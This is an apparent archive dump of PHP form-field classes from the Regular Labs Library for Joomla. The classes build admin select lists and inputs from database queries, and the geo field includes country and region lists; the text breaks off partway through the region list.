class JFormFieldRL_ConditionSelection extends \RegularLabs\Library\Field
{
public $type = 'ConditionSelection';
protected function getLabel()
{
return '';
}
protected function getInput()
{
$this->value = (int) $this->value;
$label = $this->get('label');
$param_name = $this->get('name');
$use_main_switch = $this->get('use_main_switch', 1);
$showclose = $this->get('showclose', 0);
$html = [];
if ( ! $label)
{
if ($use_main_switch)
{
$html[] = $this->closeShowOn();
}
$html[] = $this->closeShowOn();
return '</div>' . implode('', $html);
}
$label = RL_String::html_entity_decoder(JText::_($label));
$html[] = '</div>';
if ($use_main_switch)
{
$html[] =
$this->openShowOn('show_conditions:1[OR]show_assignments:1[OR]'
. $param_name . ':1,2');
}
$class = 'well well-small rl_well';
if ($this->value === 1)
{
$class .= ' alert-success';
}
else if ($this->value === 2)
{
$class .= ' alert-error';
}
$html[] = '<div class="' . $class .
'">';
if ($showclose &&
JFactory::getUser()->authorise('core.admin'))
{
$html[] = '<button type="button"
class="close"
aria-label="Close">×</button>';
}
$html[] = '<div class="control-group">';
$html[] = '<div class="control-label">';
$html[] = '<label><h4>' . $label .
'</h4></label>';
$html[] = '</div>';
$html[] = '<div class="controls">';
$html[] = '<fieldset id="' . $this->id .
'" class="radio btn-group">';
$onclick = ' onclick="RegularLabsForm.setToggleTitleClass(this,
0)"';
$html[] = '<input type="radio" id="' .
$this->id . '0" name="' . $this->name .
'" value="0"' . (( ! $this->value) ? '
checked="checked"' : '') . $onclick .
'>';
$html[] = '<label class="rl_btn-ignore"
for="' . $this->id . '0">' .
JText::_('RL_IGNORE') . '</label>';
$onclick = ' onclick="RegularLabsForm.setToggleTitleClass(this,
1)"';
$html[] = '<input type="radio" id="' .
$this->id . '1" name="' . $this->name .
'" value="1"' . (($this->value === 1) ? '
checked="checked"' : '') . $onclick .
'>';
$html[] = '<label class="rl_btn-include"
for="' . $this->id . '1">' .
JText::_('RL_INCLUDE') . '</label>';
$onclick = ' onclick="RegularLabsForm.setToggleTitleClass(this,
2)"';
$onclick .= ' onload="RegularLabsForm.setToggleTitleClass(this,
' . $this->value . ', 7)"';
$html[] = '<input type="radio" id="' .
$this->id . '2" name="' . $this->name .
'" value="2"' . (($this->value === 2) ? '
checked="checked"' : '') . $onclick .
'>';
$html[] = '<label class="rl_btn-exclude"
for="' . $this->id . '2">' .
JText::_('RL_EXCLUDE') . '</label>';
$html[] = '</fieldset>';
$html[] = '</div>';
$html[] = '</div>';
$html[] = '<div class="clearfix">
</div>';
$html[] = $this->openShowOn($param_name . ':1,2');
$html[] = '<div><div>';
return '</div>' . implode('', $html);
}
protected function openShowOn($condition = '')
{
if ( ! $condition)
{
return $this->closeShowon();
}
$formControl = $this->get('form', $this->formControl);
$formControl = $formControl == 'root' ? '' :
$formControl;
return RL_ShowOn::open($condition, $formControl);
}
protected function closeShowOn()
{
return RL_ShowOn::close();
}
}
fields/content.php000064400000005150151167425550010211 0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
defined('_JEXEC') or die;
use Joomla\CMS\HTML\HTMLHelper as JHtml;
use Joomla\CMS\Language\Text as JText;
use RegularLabs\Library\ArrayHelper as RL_ArrayHelper;
if ( ! is_file(JPATH_LIBRARIES . '/regularlabs/autoload.php'))
{
return;
}
require_once JPATH_LIBRARIES . '/regularlabs/autoload.php';
class JFormFieldRL_Content extends \RegularLabs\Library\FieldGroup
{
public $type = 'Content';
function getCategories()
{
$query = $this->db->getQuery(true)
->select('COUNT(*)')
->from('#__categories')
->where('extension = ' .
$this->db->quote('com_content'))
->where('parent_id > 0')
->where('published > -1');
$this->db->setQuery($query);
$total = $this->db->loadResult();
if ($total > $this->max_list_count)
{
return -1;
}
$this->value = RL_ArrayHelper::toArray($this->value);
// assemble items to the array
$options = [];
if ($this->get('show_ignore'))
{
if (in_array('-1', $this->value))
{
$this->value = ['-1'];
}
$options[] = JHtml::_('select.option', '-1', '-
' . JText::_('RL_IGNORE') . ' -');
$options[] = JHtml::_('select.option', '-',
' ', 'value', 'text', true);
}
$query->clear('select')
->select('id, title as name, level, published, language')
->order('lft');
$this->db->setQuery($query);
$list = $this->db->loadObjectList();
$options = array_merge($options, $this->getOptionsByList($list,
['language'], -1));
return $options;
}
function getItems()
{
$query = $this->db->getQuery(true)
->select('COUNT(*)')
->from('#__content AS i')
->where('i.access > -1');
$this->db->setQuery($query);
$total = $this->db->loadResult();
if ($total > $this->max_list_count)
{
return -1;
}
$query->clear('select')
->select('i.id, i.title as name, i.language, c.title as cat,
i.state as published')
->join('LEFT', '#__categories AS c ON c.id =
i.catid')
->order('i.title, i.ordering, i.id');
$this->db->setQuery($query);
$list = $this->db->loadObjectList();
$options = $this->getOptionsByList($list, ['language',
'cat', 'id']);
if ($this->get('showselect'))
{
array_unshift($options, JHtml::_('select.option',
'-', ' ', 'value', 'text',
true));
array_unshift($options, JHtml::_('select.option',
'-', '- ' . JText::_('Select Item') . '
-'));
}
return $options;
}
}
fields/customfieldkey.php000064400000002674151167425550011576
0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
defined('_JEXEC') or die;
use Joomla\CMS\Language\Text as JText;
use RegularLabs\Library\StringHelper as RL_String;
if ( ! is_file(JPATH_LIBRARIES . '/regularlabs/autoload.php'))
{
return;
}
require_once JPATH_LIBRARIES . '/regularlabs/autoload.php';
class JFormFieldRL_CustomFieldKey extends \RegularLabs\Library\Field
{
public $type = 'CustomFieldKey';
protected function getLabel()
{
$label = $this->get('label') ?
$this->get('label') : '';
$size = $this->get('size') ?
'style="width:' . $this->get('size') .
'px"' : '';
$class = 'class="' .
($this->get('class') ? $this->get('class') :
'text_area') . '"';
$this->value =
htmlspecialchars(RL_String::html_entity_decoder($this->value),
ENT_QUOTES);
return
'<label for="' . $this->id . '"
style="margin-top: -5px;">'
. '<input type="text" name="' .
$this->name . '" id="' . $this->id . '"
value="' . $this->value
. '" placeholder="' . JText::_($label) .
'" title="' . JText::_($label) . '" ' .
$class . ' ' . $size . '>'
. '</label>';
}
protected function getInput()
{
return '<div
style="display:none;"><div><div>';
}
}
fields/customfieldvalue.php000064400000002544151167425550012116
0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
defined('_JEXEC') or die;
use Joomla\CMS\Language\Text as JText;
use RegularLabs\Library\StringHelper as RL_String;
if ( ! is_file(JPATH_LIBRARIES . '/regularlabs/autoload.php'))
{
return;
}
require_once JPATH_LIBRARIES . '/regularlabs/autoload.php';
class JFormFieldRL_CustomFieldValue extends \RegularLabs\Library\Field
{
public $type = 'CustomFieldValue';
protected function getLabel()
{
return '';
}
protected function getInput()
{
$label = $this->get('label') ?
$this->get('label') : '';
$size = $this->get('size') ?
'style="width:' . $this->get('size') .
'px"' : '';
$class = 'class="' .
($this->get('class') ? $this->get('class') :
'text_area') . '"';
$this->value =
htmlspecialchars(RL_String::html_entity_decoder($this->value),
ENT_QUOTES);
return
'</div></div></div>'
. '<input type="text" name="' .
$this->name . '" id="' . $this->id . '"
value="' . $this->value
. '" placeholder="' . JText::_($label) .
'" title="' . JText::_($label) . '" ' .
$class . ' ' . $size . '>';
}
}
fields/datetime.php000064400000002450151167425550010333 0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
defined('_JEXEC') or die;
use Joomla\CMS\Factory as JFactory;
use Joomla\CMS\Language\Text as JText;
use RegularLabs\Library\Date as RL_Date;
if ( ! is_file(JPATH_LIBRARIES . '/regularlabs/autoload.php'))
{
return;
}
require_once JPATH_LIBRARIES . '/regularlabs/autoload.php';
class JFormFieldRL_DateTime extends \RegularLabs\Library\Field
{
public $type = 'DateTime';
protected function getLabel()
{
return '';
}
protected function getInput()
{
$label = $this->get('label');
$format = $this->get('format');
$date = JFactory::getDate();
$tz = new
DateTimeZone(JFactory::getApplication()->getCfg('offset'));
$date->setTimeZone($tz);
if ($format)
{
if (strpos($format, '%') !== false)
{
$format = RL_Date::strftimeToDateFormat($format);
}
$html = $date->format($format, true);
}
else
{
$html = $date->format('', true);
}
if ($label)
{
$html = JText::sprintf($label, $html);
}
return '</div><div>' . $html;
}
}
fields/dependency.php000064400000005267151167425550010666 0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
defined('_JEXEC') or die;
use Joomla\CMS\Factory as JFactory;
use Joomla\CMS\Language\Text as JText;
use RegularLabs\Library\RegEx as RL_RegEx;
jimport('joomla.form.formfield');
if ( ! is_file(JPATH_LIBRARIES . '/regularlabs/autoload.php'))
{
return;
}
require_once JPATH_LIBRARIES . '/regularlabs/autoload.php';
class JFormFieldRL_Dependency extends \RegularLabs\Library\Field
{
public $type = 'Dependency';
protected function getLabel()
{
return '';
}
protected function getInput()
{
if ($file = $this->get('file'))
{
$label = $this->get('label', 'the main
extension');
RLFieldDependency::setMessage($file, $label);
return '';
}
$path = ($this->get('path') == 'site') ?
'' : '/administrator';
$label = $this->get('label');
$file = $this->get('alias', $label);
$file = RL_RegEx::replace('[^a-z-]', '',
strtolower($file));
$extension = $this->get('extension');
switch ($extension)
{
case 'com':
$file = $path . '/components/com_' . $file .
'/com_' . $file . '.xml';
break;
case 'mod':
$file = $path . '/modules/mod_' . $file . '/mod_' .
$file . '.xml';
break;
default:
$file = '/plugins/' . str_replace('plg_',
'', $extension) . '/' . $file . '.xml';
break;
}
$label = JText::_($label) . ' (' . JText::_('RL_' .
strtoupper($extension)) . ')';
RLFieldDependency::setMessage($file, $label);
return '';
}
}
class RLFieldDependency
{
static function setMessage($file, $name)
{
jimport('joomla.filesystem.file');
$file = str_replace('\\', '/', $file);
if (strpos($file, '/administrator') === 0)
{
$file = str_replace('/administrator', JPATH_ADMINISTRATOR,
$file);
}
else
{
$file = JPATH_SITE . '/' . $file;
}
$file = str_replace('//', '/', $file);
$file_alt = RL_RegEx::replace('(com|mod)_([a-z-_]+\.)',
'\2', $file);
if ( ! file_exists($file) && ! file_exists($file_alt))
{
$msg =
JText::sprintf('RL_THIS_EXTENSION_NEEDS_THE_MAIN_EXTENSION_TO_FUNCTION',
JText::_($name));
$message_set = 0;
$messageQueue = JFactory::getApplication()->getMessageQueue();
foreach ($messageQueue as $queue_message)
{
if ($queue_message['type'] == 'error' &&
$queue_message['message'] == $msg)
{
$message_set = 1;
break;
}
}
if ( ! $message_set)
{
JFactory::getApplication()->enqueueMessage($msg, 'error');
}
}
}
}
fields/easyblog.php000064400000004151151167425550010344 0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
defined('_JEXEC') or die;
if ( ! is_file(JPATH_LIBRARIES . '/regularlabs/autoload.php'))
{
return;
}
require_once JPATH_LIBRARIES . '/regularlabs/autoload.php';
class JFormFieldRL_EasyBlog extends \RegularLabs\Library\FieldGroup
{
public $type = 'EasyBlog';
protected function getInput()
{
if ($error = $this->missingFilesOrTables(['categories' =>
'category', 'items' => 'post',
'tags' => 'tag']))
{
return $error;
}
return $this->getSelectList();
}
function getCategories()
{
$query = $this->db->getQuery(true)
->select('COUNT(*)')
->from('#__easyblog_category AS c')
->where('c.published > -1');
$this->db->setQuery($query);
$total = $this->db->loadResult();
if ($total > $this->max_list_count)
{
return -1;
}
$query->clear('select')
->select('c.id, c.parent_id, c.title, c.published')
->order('c.ordering, c.title');
$this->db->setQuery($query);
$items = $this->db->loadObjectList();
return $this->getOptionsTreeByList($items);
}
function getItems()
{
$query = $this->db->getQuery(true)
->select('i.id, i.title as name, c.title as cat,
i.published')
->from('#__easyblog_post AS i')
->join('LEFT', '#__easyblog_category AS c ON c.id =
i.category_id')
->where('i.published > -1')
->order('i.title, c.title, i.id');
$this->db->setQuery($query);
$list = $this->db->loadObjectList();
return $this->getOptionsByList($list, ['cat',
'id']);
}
function getTags()
{
$query = $this->db->getQuery(true)
->select('t.alias as id, t.title as name')
->from('#__easyblog_tag AS t')
->where('t.published > -1')
->where('t.title != ' .
$this->db->quote(''))
->group('t.title')
->order('t.title');
$this->db->setQuery($query);
$list = $this->db->loadObjectList();
return $this->getOptionsByList($list);
}
}
fields/editor.php000064400000002042151167425550010022 0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
defined('_JEXEC') or die;
use Joomla\CMS\Factory as JFactory;
if ( ! is_file(JPATH_LIBRARIES . '/regularlabs/autoload.php'))
{
return;
}
require_once JPATH_LIBRARIES . '/regularlabs/autoload.php';
class JFormFieldRL_Editor extends \RegularLabs\Library\Field
{
public $type = 'Editor';
protected function getLabel()
{
return '';
}
protected function getInput()
{
$width = $this->get('width', '100%');
$height = $this->get('height', 400);
$this->value = htmlspecialchars($this->value, ENT_COMPAT,
'UTF-8');
// Get an editor object.
$editor = JFactory::getEditor();
$html = $editor->display($this->name, $this->value, $width,
$height, true, $this->id);
return '</div><div>' . $html;
}
}
fields/field.php000064400000003262151167425550007624 0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
defined('_JEXEC') or die;
use Joomla\CMS\Factory as JFactory;
use Joomla\CMS\HTML\HTMLHelper as JHtml;
use Joomla\CMS\Language\Text as JText;
if ( ! is_file(JPATH_LIBRARIES . '/regularlabs/autoload.php'))
{
return;
}
require_once JPATH_LIBRARIES . '/regularlabs/autoload.php';
class JFormFieldRL_Field extends \RegularLabs\Library\Field
{
public $type = 'Field';
protected function getInput()
{
$options = $this->getFields();
return $this->selectListSimple($options, $this->name,
$this->value, $this->id);
}
function getFields()
{
$db = JFactory::getDbo();
$query = $db->getQuery(true)
->select('DISTINCT a.id, a.name, a.type, a.title')
->from('#__fields AS a')
->where('a.state = 1')
->order('a.name');
$db->setQuery($query);
$fields = $db->loadObjectList();
$options = [];
$options[] = JHtml::_('select.option', '', '-
' . JText::_('RL_SELECT_FIELD') . ' -');
foreach ($fields as &$field)
{
// Skip our own subfields type. We won't have subfields in
subfields.
if ($field->type == 'subfields' || $field->type ==
'repeatable')
{
continue;
}
$options[] = JHtml::_('select.option', $field->name,
($field->title . ' (' . $field->type . ')'));
}
if ($this->get('show_custom'))
{
$options[] = JHtml::_('select.option', 'custom',
'- ' . JText::_('RL_CUSTOM') . ' -');
}
return $options;
}
}
fields/filelist.php000064400000005337151167425550010361 0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
defined('_JEXEC') or die;
use Joomla\CMS\HTML\HTMLHelper as JHtml;
use Joomla\CMS\Language\Text as JText;
use RegularLabs\Library\RegEx as RL_RegEx;
jimport('joomla.filesystem.folder');
jimport('joomla.filesystem.file');
if ( ! is_file(JPATH_LIBRARIES . '/regularlabs/autoload.php'))
{
return;
}
require_once JPATH_LIBRARIES . '/regularlabs/autoload.php';
JFormHelper::loadFieldClass('list');
class JFormFieldRL_FileList extends JFormFieldList
{
public $type = 'FileList';
private $params = null;
protected function getInput()
{
return parent::getInput();
}
protected function getOptions()
{
$options = [];
$path = $this->get('folder');
if ( ! is_dir($path))
{
$path = JPATH_ROOT . '/' . $path;
}
// Prepend some default options based on field attributes.
if ( ! $this->get('hidenone', 0))
{
$options[] = JHtml::_('select.option', '-1',
JText::alt('JOPTION_DO_NOT_USE',
RL_RegEx::replace('[^a-z0-9_\-]', '_',
$this->fieldname)));
}
if ( ! $this->get('hidedefault', 0))
{
$options[] = JHtml::_('select.option', '',
JText::alt('JOPTION_USE_DEFAULT',
RL_RegEx::replace('[^a-z0-9_\-]', '_',
$this->fieldname)));
}
// Get a list of files in the search path with the given filter.
$files = JFolder::files($path, $this->get('filter'));
// Build the options list from the list of files.
if (is_array($files))
{
foreach ($files as $file)
{
// Check to see if the file is in the exclude mask.
if ($this->get('exclude'))
{
if (RL_RegEx::match(chr(1) . $this->get('exclude') .
chr(1), $file))
{
continue;
}
}
// If the extension is to be stripped, do it.
if ($this->get('stripext', 1))
{
$file = JFile::stripExt($file);
}
$label = $file;
if ($this->get('language_prefix'))
{
$label = JText::_($this->get('language_prefix') .
strtoupper($label));
}
$options[] = JHtml::_('select.option', $file, $label);
}
}
// Merge any additional options in the XML definition.
$options = array_merge(parent::getOptions(), $options);
return $options;
}
private function get($val, $default = '')
{
if (isset($this->element[$val]))
{
return (string) $this->element[$val] != '' ? (string)
$this->element[$val] : $default;
}
if (isset($this->params[$val]))
{
return (string) $this->params[$val] != '' ? (string)
$this->params[$val] : $default;
}
return $default;
}
}
fields/flexicontent.php000064400000002721151167425550011242
0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
defined('_JEXEC') or die;
if ( ! is_file(JPATH_LIBRARIES . '/regularlabs/autoload.php'))
{
return;
}
require_once JPATH_LIBRARIES . '/regularlabs/autoload.php';
class JFormFieldRL_FlexiContent extends \RegularLabs\Library\FieldGroup
{
public $type = 'FlexiContent';
public $default_group = 'Tags';
protected function getInput()
{
if ($error = $this->missingFilesOrTables(['tags',
'types']))
{
return $error;
}
return $this->getSelectList();
}
function getTags()
{
$query = $this->db->getQuery(true)
->select('t.name as id, t.name')
->from('#__flexicontent_tags AS t')
->where('t.published = 1')
->where('t.name != ' .
$this->db->quote(''))
->group('t.name')
->order('t.name');
$this->db->setQuery($query);
$list = $this->db->loadObjectList();
return $this->getOptionsByList($list);
}
function getTypes()
{
$query = $this->db->getQuery(true)
->select('t.id, t.name')
->from('#__flexicontent_types AS t')
->where('t.published = 1')
->order('t.name, t.id');
$this->db->setQuery($query);
$list = $this->db->loadObjectList();
return $this->getOptionsByList($list);
}
}
fields/form2content.php000064400000002172151167425550011160
0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
defined('_JEXEC') or die;
if ( ! is_file(JPATH_LIBRARIES . '/regularlabs/autoload.php'))
{
return;
}
require_once JPATH_LIBRARIES . '/regularlabs/autoload.php';
class JFormFieldRL_Form2Content extends \RegularLabs\Library\FieldGroup
{
public $type = 'Form2Content';
public $default_group = 'Projects';
protected function getInput()
{
if ($error = $this->missingFilesOrTables(['projects' =>
'project'], '', 'f2c'))
{
return $error;
}
return $this->getSelectList();
}
function getProjects()
{
$query = $this->db->getQuery(true)
->select('t.id, t.title as name')
->from('#__f2c_project AS t')
->where('t.published = 1')
->order('t.title, t.id');
$this->db->setQuery($query);
$list = $this->db->loadObjectList();
return $this->getOptionsByList($list);
}
}
fields/geo.php000064400000270140151167425550007314 0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
defined('_JEXEC') or die;
use Joomla\CMS\HTML\HTMLHelper as JHtml;
use Joomla\Registry\Registry;
use RegularLabs\Library\Form as RL_Form;
use RegularLabs\Library\RegEx as RL_RegEx;
if ( ! is_file(JPATH_LIBRARIES . '/regularlabs/autoload.php'))
{
return;
}
require_once JPATH_LIBRARIES . '/regularlabs/autoload.php';
class JFormFieldRL_Geo extends \RegularLabs\Library\Field
{
public $type = 'Geo';
protected function getInput()
{
if ( ! is_array($this->value))
{
$this->value = explode(',', $this->value);
}
$size = (int) $this->get('size');
$multiple = $this->get('multiple');
$group = $this->get('group', 'countries');
$use_names = $this->get('use_names', false);
return $this->selectListSimpleAjax(
$this->type, $this->name, $this->value, $this->id,
compact('size', 'multiple', 'group',
'use_names')
);
}
function getAjaxRaw(Registry $attributes)
{
$name = $attributes->get('name', $this->type);
$id = $attributes->get('id', strtolower($name));
$value = $attributes->get('value', []);
$size = $attributes->get('size');
$options = $this->getOptions(
$attributes->get('group', 'countries'),
(bool) $attributes->get('use_names', false)
);
return $this->selectListSimple($options, $name, $value, $id, $size,
true);
}
function getOptions($group = 'countries', $use_names =
'')
{
$options = [];
foreach ($this->{$group} as $key => $val)
{
if ( ! $val)
{
$options[] = JHtml::_('select.option', '-',
' ', 'value', 'text', true);
continue;
}
if ($key[0] == '-')
{
$options[] = JHtml::_('select.option', '-', $val,
'value', 'text', true);
continue;
}
$val = RL_Form::prepareSelectItem($val);
$options[] = JHtml::_('select.option', $use_names ? $val :
$key, $val);
}
return $options;
}
public $continents = [
'AF' => 'Africa',
'AS' => 'Asia',
'EU' => 'Europe',
'NA' => 'North America',
'SA' => 'South America',
'OC' => 'Oceania',
'AN' => 'Antarctica',
];
public $countries = [
'AF' => "Afghanistan",
'AX' => "Aland Islands",
'AL' => "Albania",
'DZ' => "Algeria",
'AS' => "American Samoa",
'AD' => "Andorra",
'AO' => "Angola",
'AI' => "Anguilla",
'AQ' => "Antarctica",
'AG' => "Antigua and Barbuda",
'AR' => "Argentina",
'AM' => "Armenia",
'AW' => "Aruba",
'AU' => "Australia",
'AT' => "Austria",
'AZ' => "Azerbaijan",
'BS' => "Bahamas",
'BH' => "Bahrain",
'BD' => "Bangladesh",
'BB' => "Barbados",
'BY' => "Belarus",
'BE' => "Belgium",
'BZ' => "Belize",
'BJ' => "Benin",
'BM' => "Bermuda",
'BT' => "Bhutan",
'BO' => "Bolivia",
'BA' => "Bosnia and Herzegovina",
'BW' => "Botswana",
'BV' => "Bouvet Island",
'BR' => "Brazil",
'IO' => "British Indian Ocean Territory",
'BN' => "Brunei Darussalam",
'BG' => "Bulgaria",
'BF' => "Burkina Faso",
'BI' => "Burundi",
'KH' => "Cambodia",
'CM' => "Cameroon",
'CA' => "Canada",
'CV' => "Cape Verde",
'KY' => "Cayman Islands",
'CF' => "Central African Republic",
'TD' => "Chad",
'CL' => "Chile",
'CN' => "China",
'CX' => "Christmas Island",
'CC' => "Cocos (Keeling) Islands",
'CO' => "Colombia",
'KM' => "Comoros",
'CG' => "Congo",
'CD' => "Congo, The Democratic Republic of the",
'CK' => "Cook Islands",
'CR' => "Costa Rica",
'CI' => "Cote d'Ivoire",
'HR' => "Croatia",
'CU' => "Cuba",
'CY' => "Cyprus",
'CZ' => "Czech Republic",
'DK' => "Denmark",
'DJ' => "Djibouti",
'DM' => "Dominica",
'DO' => "Dominican Republic",
'EC' => "Ecuador",
'EG' => "Egypt",
'SV' => "El Salvador",
'GQ' => "Equatorial Guinea",
'ER' => "Eritrea",
'EE' => "Estonia",
'ET' => "Ethiopia",
'FK' => "Falkland Islands (Malvinas)",
'FO' => "Faroe Islands",
'FJ' => "Fiji",
'FI' => "Finland",
'FR' => "France",
'GF' => "French Guiana",
'PF' => "French Polynesia",
'TF' => "French Southern Territories",
'GA' => "Gabon",
'GM' => "Gambia",
'GE' => "Georgia",
'DE' => "Germany",
'GH' => "Ghana",
'GI' => "Gibraltar",
'GR' => "Greece",
'GL' => "Greenland",
'GD' => "Grenada",
'GP' => "Guadeloupe",
'GU' => "Guam",
'GT' => "Guatemala",
'GG' => "Guernsey",
'GN' => "Guinea",
'GW' => "Guinea-Bissau",
'GY' => "Guyana",
'HT' => "Haiti",
'HM' => "Heard Island and McDonald Islands",
'VA' => "Holy See (Vatican City State)",
'HN' => "Honduras",
'HK' => "Hong Kong",
'HU' => "Hungary",
'IS' => "Iceland",
'IN' => "India",
'ID' => "Indonesia",
'IR' => "Iran, Islamic Republic of",
'IQ' => "Iraq",
'IE' => "Ireland",
'IM' => "Isle of Man",
'IL' => "Israel",
'IT' => "Italy",
'JM' => "Jamaica",
'JP' => "Japan",
'JE' => "Jersey",
'JO' => "Jordan",
'KZ' => "Kazakhstan",
'KE' => "Kenya",
'KI' => "Kiribati",
'KP' => "Korea, Democratic People's Republic
of",
'KR' => "Korea, Republic of",
'KW' => "Kuwait",
'KG' => "Kyrgyzstan",
'LA' => "Lao People's Democratic Republic",
'LV' => "Latvia",
'LB' => "Lebanon",
'LS' => "Lesotho",
'LR' => "Liberia",
'LY' => "Libyan Arab Jamahiriya",
'LI' => "Liechtenstein",
'LT' => "Lithuania",
'LU' => "Luxembourg",
'MO' => "Macao",
'MK' => "Macedonia",
'MG' => "Madagascar",
'MW' => "Malawi",
'MY' => "Malaysia",
'MV' => "Maldives",
'ML' => "Mali",
'MT' => "Malta",
'MH' => "Marshall Islands",
'MQ' => "Martinique",
'MR' => "Mauritania",
'MU' => "Mauritius",
'YT' => "Mayotte",
'MX' => "Mexico",
'FM' => "Micronesia, Federated States of",
'MD' => "Moldova, Republic of",
'MC' => "Monaco",
'MN' => "Mongolia",
'ME' => "Montenegro",
'MS' => "Montserrat",
'MA' => "Morocco",
'MZ' => "Mozambique",
'MM' => "Myanmar",
'NA' => "Namibia",
'NR' => "Nauru",
'NP' => "Nepal",
'NL' => "Netherlands",
'AN' => "Netherlands Antilles",
'NC' => "New Caledonia",
'NZ' => "New Zealand",
'NI' => "Nicaragua",
'NE' => "Niger",
'NG' => "Nigeria",
'NU' => "Niue",
'NF' => "Norfolk Island",
'MP' => "Northern Mariana Islands",
'NO' => "Norway",
'OM' => "Oman",
'PK' => "Pakistan",
'PW' => "Palau",
'PS' => "Palestinian Territory",
'PA' => "Panama",
'PG' => "Papua New Guinea",
'PY' => "Paraguay",
'PE' => "Peru",
'PH' => "Philippines",
'PN' => "Pitcairn",
'PL' => "Poland",
'PT' => "Portugal",
'PR' => "Puerto Rico",
'QA' => "Qatar",
'RE' => "Reunion",
'RO' => "Romania",
'RU' => "Russian Federation",
'RW' => "Rwanda",
'SH' => "Saint Helena",
'KN' => "Saint Kitts and Nevis",
'LC' => "Saint Lucia",
'PM' => "Saint Pierre and Miquelon",
'VC' => "Saint Vincent and the Grenadines",
'WS' => "Samoa",
'SM' => "San Marino",
'ST' => "Sao Tome and Principe",
'SA' => "Saudi Arabia",
'SN' => "Senegal",
'RS' => "Serbia",
'SC' => "Seychelles",
'SL' => "Sierra Leone",
'SG' => "Singapore",
'SK' => "Slovakia",
'SI' => "Slovenia",
'SB' => "Solomon Islands",
'SO' => "Somalia",
'ZA' => "South Africa",
'GS' => "South Georgia and the South Sandwich
Islands",
'ES' => "Spain",
'LK' => "Sri Lanka",
'SD' => "Sudan",
'SR' => "Suriname",
'SJ' => "Svalbard and Jan Mayen",
'SZ' => "Swaziland",
'SE' => "Sweden",
'CH' => "Switzerland",
'SY' => "Syrian Arab Republic",
'TW' => "Taiwan",
'TJ' => "Tajikistan",
'TZ' => "Tanzania, United Republic of",
'TH' => "Thailand",
'TL' => "Timor-Leste",
'TG' => "Togo",
'TK' => "Tokelau",
'TO' => "Tonga",
'TT' => "Trinidad and Tobago",
'TN' => "Tunisia",
'TR' => "Turkey",
'TM' => "Turkmenistan",
'TC' => "Turks and Caicos Islands",
'TV' => "Tuvalu",
'UG' => "Uganda",
'UA' => "Ukraine",
'AE' => "United Arab Emirates",
'GB' => "United Kingdom",
'US' => "United States",
'UM' => "United States Minor Outlying Islands",
'UY' => "Uruguay",
'UZ' => "Uzbekistan",
'VU' => "Vanuatu",
'VE' => "Venezuela",
'VN' => "Vietnam",
'VG' => "Virgin Islands, British",
'VI' => "Virgin Islands, U.S.",
'WF' => "Wallis and Futuna",
'EH' => "Western Sahara",
'YE' => "Yemen",
'ZM' => "Zambia",
'ZW' => "Zimbabwe",
];
public $regions = [
'-AU' => "Australia",
'AU-ACT' => "Australia: Australian Capital
Territory",
'AU-NSW' => "Australia: New South Wales",
'AU-NT' => "Australia: Northern Territory",
'AU-QLD' => "Australia: Queensland",
'AU-SA' => "Australia: South Australia",
'AU-TAS' => "Australia: Tasmania",
'AU-VIC' => "Australia: Victoria",
'AU-WA' => "Australia: Western Australia",
'--BE' => "", '-BE' =>
"Belgium",
'BE-VAN' => "Belgium: Antwerpen",
'BE-WBR' => "Belgium: Brabant Wallon",
'BE-BRU' => "Belgium: Brussels-Capital Region",
'BE-WHT' => "Belgium: Hainaut",
'BE-WLG' => "Belgium: Liege",
